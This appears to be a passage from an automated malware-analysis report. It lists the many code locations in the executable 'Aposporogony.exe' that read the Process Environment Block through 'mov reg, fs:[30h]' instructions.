Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85CF00 mov eax, dword ptr fs:[00000030h]	4_2_1D85CF00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFF03 mov eax, dword ptr fs:[00000030h]	4_2_1D8BFF03
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFF03 mov eax, dword ptr fs:[00000030h]	4_2_1D8BFF03
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFF03 mov eax, dword ptr fs:[00000030h]	4_2_1D8BFF03
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BF0C mov eax, dword ptr fs:[00000030h]	4_2_1D87BF0C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BF0C mov eax, dword ptr fs:[00000030h]	4_2_1D87BF0C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BF0C mov eax, dword ptr fs:[00000030h]	4_2_1D87BF0C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914F1D mov eax, dword ptr fs:[00000030h]	4_2_1D914F1D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D880F16 mov eax, dword ptr fs:[00000030h]	4_2_1D880F16
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D880F16 mov eax, dword ptr fs:[00000030h]	4_2_1D880F16
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D880F16 mov eax, dword ptr fs:[00000030h]	4_2_1D880F16
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D880F16 mov eax, dword ptr fs:[00000030h]	4_2_1D880F16
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F3C mov eax, dword ptr fs:[00000030h]	4_2_1D8C8F3C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F3C mov eax, dword ptr fs:[00000030h]	4_2_1D8C8F3C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F3C mov ecx, dword ptr fs:[00000030h]	4_2_1D8C8F3C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C8F3C mov ecx, dword ptr fs:[00000030h]	4_2_1D8C8F3C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DF36 mov eax, dword ptr fs:[00000030h]	4_2_1D85DF36
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DF36 mov eax, dword ptr fs:[00000030h]	4_2_1D85DF36
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DF36 mov eax, dword ptr fs:[00000030h]	4_2_1D85DF36
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85DF36 mov eax, dword ptr fs:[00000030h]	4_2_1D85DF36
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83FF30 mov edi, dword ptr fs:[00000030h]	4_2_1D83FF30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FBF4D mov eax, dword ptr fs:[00000030h]	4_2_1D8FBF4D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FAF50 mov ecx, dword ptr fs:[00000030h]	4_2_1D8FAF50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FEF66 mov eax, dword ptr fs:[00000030h]	4_2_1D8FEF66
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914F7C mov eax, dword ptr fs:[00000030h]	4_2_1D914F7C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83BF70 mov eax, dword ptr fs:[00000030h]	4_2_1D83BF70
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841F70 mov eax, dword ptr fs:[00000030h]	4_2_1D841F70
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AF72 mov eax, dword ptr fs:[00000030h]	4_2_1D86AF72
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D896F70 mov eax, dword ptr fs:[00000030h]	4_2_1D896F70
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83EF79 mov eax, dword ptr fs:[00000030h]	4_2_1D83EF79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83EF79 mov eax, dword ptr fs:[00000030h]	4_2_1D83EF79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83EF79 mov eax, dword ptr fs:[00000030h]	4_2_1D83EF79
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86BE80 mov eax, dword ptr fs:[00000030h]	4_2_1D86BE80
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AE89 mov eax, dword ptr fs:[00000030h]	4_2_1D86AE89
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86AE89 mov eax, dword ptr fs:[00000030h]	4_2_1D86AE89
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CEA0 mov eax, dword ptr fs:[00000030h]	4_2_1D87CEA0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov eax, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov eax, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov eax, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov ecx, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851EB2 mov eax, dword ptr fs:[00000030h]	4_2_1D851EB2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D900EAD mov eax, dword ptr fs:[00000030h]	4_2_1D900EAD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D900EAD mov eax, dword ptr fs:[00000030h]	4_2_1D900EAD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872EB8 mov eax, dword ptr fs:[00000030h]	4_2_1D872EB8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872EB8 mov eax, dword ptr fs:[00000030h]	4_2_1D872EB8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D909ED2 mov eax, dword ptr fs:[00000030h]	4_2_1D909ED2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C7EC3 mov eax, dword ptr fs:[00000030h]	4_2_1D8C7EC3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C7EC3 mov ecx, dword ptr fs:[00000030h]	4_2_1D8C7EC3
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914EC1 mov eax, dword ptr fs:[00000030h]	4_2_1D914EC1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D881ED8 mov eax, dword ptr fs:[00000030h]	4_2_1D881ED8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87BED0 mov eax, dword ptr fs:[00000030h]	4_2_1D87BED0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CCED0 mov ecx, dword ptr fs:[00000030h]	4_2_1D8CCED0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843EE2 mov eax, dword ptr fs:[00000030h]	4_2_1D843EE2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D871EED mov eax, dword ptr fs:[00000030h]	4_2_1D871EED
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D871EED mov eax, dword ptr fs:[00000030h]	4_2_1D871EED
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D871EED mov eax, dword ptr fs:[00000030h]	4_2_1D871EED
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842EE8 mov eax, dword ptr fs:[00000030h]	4_2_1D842EE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842EE8 mov eax, dword ptr fs:[00000030h]	4_2_1D842EE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842EE8 mov eax, dword ptr fs:[00000030h]	4_2_1D842EE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842EE8 mov eax, dword ptr fs:[00000030h]	4_2_1D842EE8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E3EFC mov eax, dword ptr fs:[00000030h]	4_2_1D8E3EFC
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83CEF0 mov eax, dword ptr fs:[00000030h]	4_2_1D83CEF0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D846E00 mov eax, dword ptr fs:[00000030h]	4_2_1D846E00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D846E00 mov eax, dword ptr fs:[00000030h]	4_2_1D846E00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D846E00 mov eax, dword ptr fs:[00000030h]	4_2_1D846E00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D846E00 mov eax, dword ptr fs:[00000030h]	4_2_1D846E00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843E01 mov eax, dword ptr fs:[00000030h]	4_2_1D843E01
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843E14 mov eax, dword ptr fs:[00000030h]	4_2_1D843E14
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843E14 mov eax, dword ptr fs:[00000030h]	4_2_1D843E14
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D843E14 mov eax, dword ptr fs:[00000030h]	4_2_1D843E14
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D878E15 mov eax, dword ptr fs:[00000030h]	4_2_1D878E15
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914E03 mov eax, dword ptr fs:[00000030h]	4_2_1D914E03
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFE1F mov eax, dword ptr fs:[00000030h]	4_2_1D8BFE1F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFE1F mov eax, dword ptr fs:[00000030h]	4_2_1D8BFE1F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFE1F mov eax, dword ptr fs:[00000030h]	4_2_1D8BFE1F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BFE1F mov eax, dword ptr fs:[00000030h]	4_2_1D8BFE1F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83BE18 mov ecx, dword ptr fs:[00000030h]	4_2_1D83BE18
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D842E32 mov eax, dword ptr fs:[00000030h]	4_2_1D842E32
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D908E26 mov eax, dword ptr fs:[00000030h]	4_2_1D908E26
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D908E26 mov eax, dword ptr fs:[00000030h]	4_2_1D908E26
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D908E26 mov eax, dword ptr fs:[00000030h]	4_2_1D908E26
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D908E26 mov eax, dword ptr fs:[00000030h]	4_2_1D908E26
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CE3F mov eax, dword ptr fs:[00000030h]	4_2_1D87CE3F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D6E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D6E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D6E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D6E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov ecx, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8D5E30 mov eax, dword ptr fs:[00000030h]	4_2_1D8D5E30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83AE40 mov eax, dword ptr fs:[00000030h]	4_2_1D83AE40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83AE40 mov eax, dword ptr fs:[00000030h]	4_2_1D83AE40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83AE40 mov eax, dword ptr fs:[00000030h]	4_2_1D83AE40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83FE40 mov eax, dword ptr fs:[00000030h]	4_2_1D83FE40
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83DE45 mov eax, dword ptr fs:[00000030h]	4_2_1D83DE45
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83DE45 mov ecx, dword ptr fs:[00000030h]	4_2_1D83DE45
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86EE48 mov eax, dword ptr fs:[00000030h]	4_2_1D86EE48
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BDE50 mov eax, dword ptr fs:[00000030h]	4_2_1D8BDE50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BDE50 mov eax, dword ptr fs:[00000030h]	4_2_1D8BDE50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BDE50 mov ecx, dword ptr fs:[00000030h]	4_2_1D8BDE50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BDE50 mov eax, dword ptr fs:[00000030h]	4_2_1D8BDE50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BDE50 mov eax, dword ptr fs:[00000030h]	4_2_1D8BDE50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83BE60 mov eax, dword ptr fs:[00000030h]	4_2_1D83BE60
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83BE60 mov eax, dword ptr fs:[00000030h]	4_2_1D83BE60
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D914E62 mov eax, dword ptr fs:[00000030h]	4_2_1D914E62
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D841E70 mov eax, dword ptr fs:[00000030h]	4_2_1D841E70
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D877E71 mov eax, dword ptr fs:[00000030h]	4_2_1D877E71
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87CE70 mov eax, dword ptr fs:[00000030h]	4_2_1D87CE70
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C98F mov eax, dword ptr fs:[00000030h]	4_2_1D87C98F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C98F mov eax, dword ptr fs:[00000030h]	4_2_1D87C98F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C98F mov eax, dword ptr fs:[00000030h]	4_2_1D87C98F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84E9A0 mov eax, dword ptr fs:[00000030h]	4_2_1D84E9A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CF9AA mov eax, dword ptr fs:[00000030h]	4_2_1D8CF9AA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CF9AA mov eax, dword ptr fs:[00000030h]	4_2_1D8CF9AA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C89A0 mov eax, dword ptr fs:[00000030h]	4_2_1D8C89A0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83B9B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83B9B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8789B0 mov edx, dword ptr fs:[00000030h]	4_2_1D8789B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B9C0 mov eax, dword ptr fs:[00000030h]	4_2_1D84B9C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B9C0 mov eax, dword ptr fs:[00000030h]	4_2_1D84B9C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8489C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8489C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8489C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8489C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86D9CE mov eax, dword ptr fs:[00000030h]	4_2_1D86D9CE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FD9C6 mov eax, dword ptr fs:[00000030h]	4_2_1D8FD9C6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CD9C7 mov eax, dword ptr fs:[00000030h]	4_2_1D8CD9C7
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E99D6 mov ecx, dword ptr fs:[00000030h]	4_2_1D8E99D6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9129CF mov eax, dword ptr fs:[00000030h]	4_2_1D9129CF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9129CF mov eax, dword ptr fs:[00000030h]	4_2_1D9129CF
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8399F0 mov ecx, dword ptr fs:[00000030h]	4_2_1D8399F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8409F0 mov eax, dword ptr fs:[00000030h]	4_2_1D8409F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8749F0 mov eax, dword ptr fs:[00000030h]	4_2_1D8749F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8749F0 mov eax, dword ptr fs:[00000030h]	4_2_1D8749F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86B9FA mov eax, dword ptr fs:[00000030h]	4_2_1D86B9FA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D837917 mov eax, dword ptr fs:[00000030h]	4_2_1D837917
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D896912 mov eax, dword ptr fs:[00000030h]	4_2_1D896912
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872919 mov eax, dword ptr fs:[00000030h]	4_2_1D872919
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D872919 mov eax, dword ptr fs:[00000030h]	4_2_1D872919
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D875921 mov eax, dword ptr fs:[00000030h]	4_2_1D875921
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D875921 mov ecx, dword ptr fs:[00000030h]	4_2_1D875921
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D875921 mov eax, dword ptr fs:[00000030h]	4_2_1D875921
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D875921 mov eax, dword ptr fs:[00000030h]	4_2_1D875921
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BC920 mov ecx, dword ptr fs:[00000030h]	4_2_1D8BC920
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BC920 mov eax, dword ptr fs:[00000030h]	4_2_1D8BC920
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BC920 mov eax, dword ptr fs:[00000030h]	4_2_1D8BC920
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8BC920 mov eax, dword ptr fs:[00000030h]	4_2_1D8BC920
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83B931 mov eax, dword ptr fs:[00000030h]	4_2_1D83B931
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83B931 mov eax, dword ptr fs:[00000030h]	4_2_1D83B931
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D89693A mov eax, dword ptr fs:[00000030h]	4_2_1D89693A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D89693A mov eax, dword ptr fs:[00000030h]	4_2_1D89693A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D89693A mov eax, dword ptr fs:[00000030h]	4_2_1D89693A
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D91492D mov eax, dword ptr fs:[00000030h]	4_2_1D91492D
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D869938 mov ecx, dword ptr fs:[00000030h]	4_2_1D869938
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90892E mov eax, dword ptr fs:[00000030h]	4_2_1D90892E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90892E mov eax, dword ptr fs:[00000030h]	4_2_1D90892E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C944 mov eax, dword ptr fs:[00000030h]	4_2_1D87C944
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86D940 mov eax, dword ptr fs:[00000030h]	4_2_1D86D940
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86D940 mov eax, dword ptr fs:[00000030h]	4_2_1D86D940
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86E94E mov eax, dword ptr fs:[00000030h]	4_2_1D86E94E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D864955 mov eax, dword ptr fs:[00000030h]	4_2_1D864955
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D864955 mov eax, dword ptr fs:[00000030h]	4_2_1D864955
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov eax, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov ecx, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov eax, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov eax, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov eax, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84B950 mov eax, dword ptr fs:[00000030h]	4_2_1D84B950
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D90D946 mov eax, dword ptr fs:[00000030h]	4_2_1D90D946
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C395B mov eax, dword ptr fs:[00000030h]	4_2_1D8C395B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C395B mov eax, dword ptr fs:[00000030h]	4_2_1D8C395B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C395B mov eax, dword ptr fs:[00000030h]	4_2_1D8C395B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C958 mov eax, dword ptr fs:[00000030h]	4_2_1D87C958
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85096B mov eax, dword ptr fs:[00000030h]	4_2_1D85096B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D85096B mov eax, dword ptr fs:[00000030h]	4_2_1D85096B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C488F mov eax, dword ptr fs:[00000030h]	4_2_1D8C488F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D867882 mov eax, dword ptr fs:[00000030h]	4_2_1D867882
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D866882 mov eax, dword ptr fs:[00000030h]	4_2_1D866882
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D866882 mov eax, dword ptr fs:[00000030h]	4_2_1D866882
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D866882 mov eax, dword ptr fs:[00000030h]	4_2_1D866882
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D88088E mov eax, dword ptr fs:[00000030h]	4_2_1D88088E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D88088E mov edx, dword ptr fs:[00000030h]	4_2_1D88088E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D88088E mov eax, dword ptr fs:[00000030h]	4_2_1D88088E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E1889 mov eax, dword ptr fs:[00000030h]	4_2_1D8E1889
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E1889 mov eax, dword ptr fs:[00000030h]	4_2_1D8E1889
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8E1889 mov eax, dword ptr fs:[00000030h]	4_2_1D8E1889
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87188E mov eax, dword ptr fs:[00000030h]	4_2_1D87188E
